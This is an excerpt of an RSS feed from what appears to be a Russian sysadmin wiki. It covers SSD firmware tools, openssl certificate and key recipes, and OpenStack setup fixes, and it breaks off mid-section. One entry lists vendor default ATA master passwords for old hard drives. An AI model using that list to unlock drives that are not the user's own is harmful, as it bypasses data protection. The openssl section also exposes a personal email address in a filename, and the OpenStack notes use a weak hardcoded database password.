Russian forum where I got the link above from, it also got the link to the instruction:
&lt;a href=&quot;http://forum.ru-board.com/topic.cgi?forum=84&amp;amp;topic=4797&amp;amp;start=0&amp;amp;limit=1&amp;amp;m=6#1&quot; class=&quot;urlextern&quot; title=&quot;http://forum.ru-board.com/topic.cgi?forum=84&amp;amp;topic=4797&amp;amp;start=0&amp;amp;limit=1&amp;amp;m=6#1&quot; rel=&quot;ugc nofollow&quot;&gt;http://forum.ru-board.com/topic.cgi?forum=84&amp;amp;topic=4797&amp;amp;start=0&amp;amp;limit=1&amp;amp;m=6#1&lt;/a&gt; &lt;br/&gt;

&lt;br/&gt;

Here is the link to the eCLI application used for SF-2000 series, but seem to work fine with SF-1200 series: &lt;br/&gt;

&lt;a href=&quot;http://www.upantool.com/ssd/tool/sandforce/10232.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.upantool.com/ssd/tool/sandforce/10232.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.upantool.com/ssd/tool/sandforce/10232.html&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e \u0434\u0435\u043b\u0443&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e_\u0434\u0435\u043b\u0443&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2991-5784&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;инстуркция_для_ocz_vertex2_60gb&quot;&gt;Инстуркция для OCZ Vertex2 60Gb&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://forum.ru-board.com/topic.cgi?forum=84&amp;amp;topic=5360&amp;amp;start=960#7&quot; class=&quot;urlextern&quot; title=&quot;http://forum.ru-board.com/topic.cgi?forum=84&amp;amp;topic=5360&amp;amp;start=960#7&quot; rel=&quot;ugc nofollow&quot;&gt;http://forum.ru-board.com/topic.cgi?forum=84&amp;amp;topic=5360&amp;amp;start=960#7&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;http://forum.ru-board.com/topic.cgi?forum=84&amp;amp;topic=5360#1&quot; class=&quot;urlextern&quot; title=&quot;http://forum.ru-board.com/topic.cgi?forum=84&amp;amp;topic=5360#1&quot; rel=&quot;ugc nofollow&quot;&gt;http://forum.ru-board.com/topic.cgi?forum=84&amp;amp;topic=5360#1&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u043d\u0441\u0442\u0443\u0440\u043a\u0446\u0438\u044f \u0434\u043b\u044f OCZ Vertex2 60Gb&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u043d\u0441\u0442\u0443\u0440\u043a\u0446\u0438\u044f_\u0434\u043b\u044f_ocz_vertex2_60gb&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;5785-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sat, 16 Feb 2019 19:27:08 +0000</pubDate>
        </item>
        <item>
            <title>old_hdds_master_paswords</title>
            <link>https://wiki.autosys.tk/linux_faq/old_hdds_master_paswords</link>
            <description>
&lt;p&gt;
SEAGATE → “Seagate” +25 spaces
&lt;/p&gt;

&lt;p&gt;
MAXTOR
series N40P → “Maxtor INIT SECURITY TEST STEP ” +1 or +2 spaces
series N40P → “Maxtor INIT SECURITY TEST STEP F”
series 541DX → “Maxtor” +24 spaces
series Athena (D541X model 2B) and diamondmax80 → “Maxtor”
&lt;/p&gt;

&lt;p&gt;
WESTERN DIGITAL → “WDCWDCWDCWDCWDCWDCWDCWDCWDCWDCWD”
&lt;/p&gt;

&lt;p&gt;
FUJITSU → 32 spaces
&lt;/p&gt;

&lt;p&gt;
SAMSUNG → “ttttttttttttttttttttttttttttttttt” (32 times t)
&lt;/p&gt;

&lt;p&gt;
IBM
series DTTA → “CED79IJUFNATIT” +18 spaces
series DJNA → “VON89IJUFSUNAJ” +18 spaces
series DPTA → “VON89IJUFSUNAJ” +18 spaces
series DTLA → “RAM00IJUFOTSELET” +16 spaces
series DADA-26480 (6,4gb) → “BEF89IJUF__AIDACA” +15 spaces
&lt;/p&gt;

&lt;p&gt;
HITACHI series DK23AA, DK23BA and DK23CA → 32 spaces
&lt;/p&gt;

&lt;p&gt;
TOSHIBA → 32 spaces
&lt;/p&gt;

&lt;p&gt;
For xbox hdds try “XBOXSCENE” or “TEAMASSEMBLY” too
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>openssl_hints</title>
            <link>https://wiki.autosys.tk/linux_faq/openssl_hints</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;конвертация_серверного_сертификата_из_pfx_в_pem&quot;&gt;Конвертация серверного сертификата из pfx в pem&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;openssl pkcs12 -in yourpfxfile.pfx -nocerts -out privatekey.pem -nodes
openssl pkcs12 -in yourpfxfile.pfx -nokeys -out publiccert.pem -nodes&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u0438\u0437 pfx \u0432 pem&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u044f_\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430_\u0438\u0437_pfx_\u0432_pem&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-242&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;конвертация_клиентского_сертификата_из_pkcs12_в_pem&quot;&gt;Конвертация клиентского сертификата из PKCS12 в pem&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;openssl pkcs12 -in anisimov.ss@sberleasing.ru.p12 -out ca.pem -cacerts -nokeys
openssl pkcs12 -in anisimov.ss@sberleasing.ru.p12 -out client.pem -clcerts -nokeys
openssl pkcs12 -in anisimov.ss@sberleasing.ru.p12 -out key.pem -nocerts&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u0438\u0437 PKCS12 \u0432 pem&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u044f_\u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430_\u0438\u0437_pkcs12_\u0432_pem&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;243-585&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;удалить_пароль_с_ключа&quot;&gt;Удалить пароль с ключа&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Чтобы сделать приватный ключ доступным без ввода пароля:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl rsa -in key.pem -out key_nopasswd.pem&lt;/pre&gt;

&lt;p&gt;
Для ключей SSH можно делать то же самое с помощью &lt;strong&gt;ssh-keygen&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ssh-keygen -f ~/.ssh/prodci_key_passwd -p&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0441 \u043a\u043b\u044e\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0434\u0430\u043b\u0438\u0442\u044c_\u043f\u0430\u0440\u043e\u043b\u044c_\u0441_\u043a\u043b\u044e\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;586-941&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;сгенерить_публичный_ключ_из_приватного&quot;&gt;Сгенерить публичный ключ из приватного&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;openssl rsa -in ~/.ssh/id_rsa -pubout -out ./.ssh/id_rsa.pub&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0433\u0435\u043d\u0435\u0440\u0438\u0442\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0442\u044c_\u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439_\u043a\u043b\u044e\u0447_\u0438\u0437_\u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;942-1092&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;сгенерить_публичный_ssh-ключ_из_приватного&quot;&gt;Сгенерить публичный ssh-ключ из приватного&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;ssh-keygen -y -f ~/.ssh/id_rsa &amp;gt; ~/.ssh/id_rsa.pub&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0433\u0435\u043d\u0435\u0440\u0438\u0442\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 ssh-\u043a\u043b\u044e\u0447 \u0438\u0437 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0442\u044c_\u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439_ssh-\u043a\u043b\u044e\u0447_\u0438\u0437_\u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;1093-1236&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;проверка_сертификата_на_валидность&quot;&gt;Проверка сертификата на валидность&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;openssl verify -verbose -x509_strict -CAfile ./chain.pem ./cert.pem&lt;/pre&gt;

&lt;p&gt;
или если в файле вся цепочка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl verify -verbose -x509_strict -CAfile ./fullchain.pem ./fullchain.pem&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043d\u0430 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0441\u0442\u044c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430_\u043d\u0430_\u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0441\u0442\u044c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;1237-1521&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit7&quot; id=&quot;проверка_валидности_серта_на_сервере&quot;&gt;Проверка валидности серта на сервере&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;openssl s_client -connect wiki.autosys.tk:443 -CAfile /etc/ssl/certs&lt;/pre&gt;

&lt;p&gt;
или можно и не указывать путь до CA:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl s_client -connect wiki.autosys.tk:443&lt;/pre&gt;

&lt;p&gt;
Проверить даты валидности сертификата:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo | openssl s_client -servername server.domain.local -connect host.domain.local:443 2&amp;gt;/dev/null | openssl x509 -noout -dates&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0441\u0442\u0438 \u0441\u0435\u0440\u0442\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430_\u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0441\u0442\u0438_\u0441\u0435\u0440\u0442\u0430_\u043d\u0430_\u0441\u0435\u0440\u0432\u0435\u0440\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;1522-1990&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit8&quot; id=&quot;проверка_даты_до_которой_валиден_сертификат&quot;&gt;Проверка даты до которой валиден сертификат&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;openssl x509 -enddate -noout -in ./cert.crt&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u0430\u0442\u044b \u0434\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0435\u043d \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430_\u0434\u0430\u0442\u044b_\u0434\u043e_\u043a\u043e\u0442\u043e\u0440\u043e\u0439_\u0432\u0430\u043b\u0438\u0434\u0435\u043d_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;1991-2133&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit9&quot; id=&quot;скачать_сертификат_сервера_в_файл&quot;&gt;Скачать сертификат сервера в файл&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;openssl s_client -showcerts -connect ya.ru:443 &amp;lt;/dev/null &amp;gt; chain.pem&lt;/pre&gt;

&lt;p&gt;
Чтобы получить полную цепочку сертификатов сервера без всяких ненужных текстовых данных (только то что между строками
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;-----BEGIN CERTIFICATE-----&lt;/pre&gt;

&lt;p&gt;
и 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;-----END CERTIFICATE------&lt;/pre&gt;

&lt;p&gt;
делаем так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl s_client -showcerts -connect nexus.rdleas.ru:443  &amp;lt;/dev/null 2&amp;gt;/dev/null | awk &amp;#039;/BEGIN/ { i++; } /BEGIN/, /END/ { print }&amp;#039; &amp;gt; clean_chain.pem&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043a\u0430\u0447\u0430\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432 \u0444\u0430\u0439\u043b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043a\u0430\u0447\u0430\u0442\u044c_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442_\u0441\u0435\u0440\u0432\u0435\u0440\u0430_\u0432_\u0444\u0430\u0439\u043b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;2134-2758&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit10&quot; id=&quot;посмотреть_сертификаты_сервера&quot;&gt;Посмотреть сертификаты сервера&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для сервера с &lt;strong&gt;SNI&lt;/strong&gt; (указывая име сервера с помощью &lt;strong&gt;-servername&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl s_client -showcerts -servername www.example.com -connect www.example.com:443 &amp;lt;/dev/null
&lt;/pre&gt;

&lt;p&gt;
Без &lt;strong&gt;SNI&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl s_client -showcerts -connect www.example.com:443 &amp;lt;/dev/null
&lt;/pre&gt;

&lt;p&gt;
А посмотреть содержимое серта в удобном виде так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl s_client -servername www.example.com -connect www.example.com:443 2&amp;gt;/dev/null | openssl x509 -text
&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b_\u0441\u0435\u0440\u0432\u0435\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;2759-3371&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit11&quot; id=&quot;посмотреть_ssl_сертификат_сервера_postgresql&quot;&gt;Посмотреть SSL сертификат сервера Postgresql&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;openssl s_client -starttls postgres -connect server_name.domain.com:6432&lt;/pre&gt;

&lt;p&gt;
Проверить дату валидности сертификата на сервере Postgresql :
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo | openssl s_client -starttls postgres -CAfile  ~/selectel_psql_ca.pem  -connect server_name.domain.com:6432 2&amp;gt;/dev/null | openssl x509 -noout -dates&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c SSL \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 Postgresql&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c_ssl_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442_\u0441\u0435\u0440\u0432\u0435\u0440\u0430_postgresql&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;3372-3793&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit12&quot; id=&quot;проверить_соответствие_ключа_и_сертификата&quot;&gt;Проверить соответствие ключа и сертификата&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Должны совпадать значения хешей &lt;strong&gt;md5&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl x509 -noout -modulus -in &amp;lt;filename&amp;gt;.cert.pem | openssl md5
openssl rsa -noout -modulus -in &amp;lt;filename&amp;gt;.key | openssl md5&lt;/pre&gt;

&lt;p&gt;
И для CSR:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;openssl req -noout -modulus -in .csr | openssl md5&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043b\u044e\u0447\u0430 \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c_\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435_\u043a\u043b\u044e\u0447\u0430_\u0438_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;3794-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 30 Jan 2023 07:23:19 +0000</pubDate>
        </item>
        <item>
            <title>openstack_on_ubuntu_16.04</title>
            <link>https://wiki.autosys.tk/linux_faq/openstack_on_ubuntu_16.04</link>
            <description>
&lt;p&gt;
Установка Openstack на Ubuntu 16.04 в настоящий момент доработана не докнца и имеет нюянсы
&lt;a href=&quot;http://docs.openstack.org/mitaka/install-guide-ubuntu/&quot; class=&quot;urlextern&quot; title=&quot;http://docs.openstack.org/mitaka/install-guide-ubuntu/&quot; rel=&quot;ugc nofollow&quot;&gt;http://docs.openstack.org/mitaka/install-guide-ubuntu/&lt;/a&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;репозиторий&quot;&gt;Репозиторий&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
если видите 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cloud-archive for Mitaka only supported on trusty&lt;/pre&gt;

&lt;p&gt;
это значит, что вместо репозитория &lt;strong&gt;mitaka&lt;/strong&gt; нужно использовать &lt;strong&gt;newton&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo add-apt-repository cloud-archive:newton&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;205-490&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;specified_key_was_too_longmax_key_length_is_767_bytes&quot;&gt;Specified key was too long; max key length is 767 bytes&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://bugs.launchpad.net/openstack-manuals/+bug/1575688&quot; class=&quot;urlextern&quot; title=&quot;https://bugs.launchpad.net/openstack-manuals/+bug/1575688&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugs.launchpad.net/openstack-manuals/+bug/1575688&lt;/a&gt;
Вместо &lt;strong&gt;utf8mb4&lt;/strong&gt; нужно во всех файлах &lt;strong&gt;/etc/mysql/mariadb.conf.d/&lt;/strong&gt;* везде использовать &lt;strong&gt;utf8&lt;/strong&gt;: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo grep -rl utf8mb4 /etc/mysql/mariadb.conf.d/ | sudo xargs sed -i &amp;#039;s/utf8mb4/utf8/g&amp;#039;&lt;/pre&gt;

&lt;p&gt;
В файле &lt;strong&gt;/etc/mysql/conf.d/mysqld_openstack.cnf&lt;/strong&gt; должно быть:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[client]
default-character-set = utf8

[mysqld]
bind-address = 172.16.3.32
default-storage-engine = innodb
innodb_file_per_table
collation-server = utf8_general_ci
init-connect = &amp;#039;SET NAMES utf8&amp;#039;
character-set-server = utf8

[mysql]
default-character-set = utf8&lt;/pre&gt;

&lt;p&gt;
В файле &lt;strong&gt;/etc/mysql/my.cnf&lt;/strong&gt; комментируем строки 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!includedir /etc/mysql/conf.d/
#!includedir /etc/mysql/mariadb.conf.d/&lt;/pre&gt;

&lt;p&gt;
иначе при заполнении базы &lt;strong&gt;keystone&lt;/strong&gt; будут сообщения типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;WARNING oslo_db.sqlalchemy.engines [-] SQL connection failed. 10 attempts left.&lt;/pre&gt;

&lt;p&gt;
После этого дропаем базу &lt;strong&gt;keystone&lt;/strong&gt;, перезапускаем &lt;strong&gt;mysql&lt;/strong&gt;, а потом создаем и заполняем базу &lt;strong&gt;keystone&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mysql -u root -p&lt;/pre&gt;

&lt;p&gt;
и выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;DROP DATABASE keystone;
CREATE DATABASE keystone;
GRANT ALL PRIVILEGES ON keystone.* TO &amp;#039;keystone&amp;#039;@&amp;#039;localhost&amp;#039; IDENTIFIED BY &amp;#039;1q2w3e4r&amp;#039;;
GRANT ALL PRIVILEGES ON keystone.* TO &amp;#039;keystone&amp;#039;@&amp;#039;%&amp;#039; IDENTIFIED BY &amp;#039;1q2w3e4r&amp;#039;;
quit&lt;/pre&gt;

&lt;p&gt;
А потом:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo su
su -s /bin/sh -c &amp;quot;keystone-manage db_sync&amp;quot; keystone&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Specified key was too long; max key length is 767 bytes&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;specified_key_was_too_longmax_key_length_is_767_bytes&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;491-2074&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;apachename_duplicates_previous_wsgi_daemon_definition&quot;&gt;Apache: Name duplicates previous WSGI daemon definition.&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;status apache2.service
.....
AH00526: Syntax error on line 5 of /etc/apache2/sites-enabled/wsgi-keystone.conf:
Name duplicates previous WSGI daemon definition.&lt;/pre&gt;

&lt;p&gt;
